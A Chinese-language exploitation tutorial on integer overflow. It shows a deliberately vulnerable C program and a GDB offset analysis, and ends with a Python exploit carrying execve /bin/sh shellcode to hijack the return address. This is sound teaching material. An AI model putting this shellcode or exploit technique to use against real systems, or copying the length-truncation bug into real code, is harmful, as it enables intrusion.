整数溢出
存储大于最大支持值的值称为整数溢出。整数溢出本身不会导致任意代码执行,但是整数溢出可能会导致堆溢出或者栈溢出,从而导致任意代码执行。
数据类型大小以及范围:
对于代码:
//vuln.c
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
void store_passwd_indb(char* passwd) {
}
void validate_uname(char* uname) {
}
void validate_passwd(char* passwd) {
char passwd_buf[11];
unsigned char passwd_len = strlen(passwd); /* [1] */
if(passwd_len >= 4 && passwd_len <= 8) { /* [2] */
printf("Valid Password\n"); /* [3] */
fflush(stdout);
strcpy(passwd_buf,passwd); /* [4] */
} else {
printf("Invalid Password\n"); /* [5] */
fflush(stdout);
}
store_passwd_indb(passwd_buf); /* [6] */
}
int main(int argc, char* argv[]) {
if(argc!=3) {
printf("Usage Error: \n");
fflush(stdout);
exit(-1);
}
validate_uname(argv[1]);
validate_passwd(argv[2]);
return 0;
}
在 1 处有一个整数溢出的错误。strlen返回的类型是 unsigned int 。但是它存储在unsigned char中。因此 任何大于unsigned的值即255,就会导致整数溢出。因此如果输入261个值,返回值便会是5.因此可以绕过密码数量的检查。从而导致堆栈溢出,执行任意代码。
使用261个A当作密码进行测试,最终A会被当做返回地址。
接下来便是找到返回地址的偏移地址。
在IDA中查看到执行完复制函数后的地址,在此处下断点,再次运行GDB调试,输入与刚才相同
可以在堆栈里查看到当前EBP的值与第一个A之间的差为20,
20+4即为返回地址的值。
扫描二维码关注公众号,回复:
5921368 查看本文章
所以距离返回地址为24。
因此,即用24个"A" 加 返回地址 加261-24-4个任意字符,即可控制返回地址。调试尝试
可以看到“BBBB”刚好成为了返回地址,所以我们便可以执行任意代码。
执行该EXP,完成控制。
#exp.py
#!/usr/bin/env python
import struct
from subprocess import call
arg1 = "sploitfun"
#Stack address where shellcode is copied.
ret_addr = 0xffffce70
#Spawn a shell
#execve(/bin/sh)
scode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80"
#endianess convertion
def conv(num):
return struct.pack("I",num)
arg2 = "A" * 24
arg2 += conv(ret_addr);
arg2 += "\x90" * 100
arg2 += scode
arg2 += "\x90" * 108
print "Calling vulnerable program"
call(["./vuln", arg1, arg2])
注意:在放置shellcode的时候,根据个人的机器将shellcode放置在远离esp的位置。否则会出现
该问题,在同学指导下终于解决了!!!